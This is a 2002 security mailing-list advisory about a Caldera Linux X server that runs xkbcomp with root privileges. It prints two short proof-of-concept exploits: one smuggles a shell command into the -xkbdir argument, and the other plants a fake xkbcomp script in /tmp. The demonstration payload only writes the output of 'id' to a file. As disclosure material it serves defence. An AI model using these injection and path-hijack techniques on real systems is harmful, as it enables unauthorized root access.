[EXPL] Caldera Xserver Exploit Code (xkbcomp)

From: support@securiteam.com
Date: 08/30/02


From: support@securiteam.com
To: list@securiteam.com
Date: Fri, 30 Aug 2002 11:44:57 +0200 (CEST)

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  Caldera Xserver Exploit Code (xkbcomp)
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SUMMARY

The Xserver of the Caldera operating system calls xkbcomp in an insecure
manner while not dropping privileges. The following is a proof of concept
exploit code for the Caldera Linux X11 server.

DETAILS

Exploit:
The following proof of concepts were provided by Pavel Kankovsky:
   $ Xserver -xkbdir 'id > /tmp/I_WAS_HERE;'
   [exit X server]
   $ grep root /tmp/I_WAS_HERE && echo 'Gotcha!'

   $ cat > /tmp/xkbcomp
   #!/bin/sh
   id > /tmp/I_WAS_HERE
   [ctrl+d]
   $ chmod a+x /tmp/xkbcomp
   $ Xserver -xkbdir /tmp
   [X server executes /tmp/xkbcomp]

ADDITIONAL INFORMATION

The information has been provided by Pavel Kankovsky.

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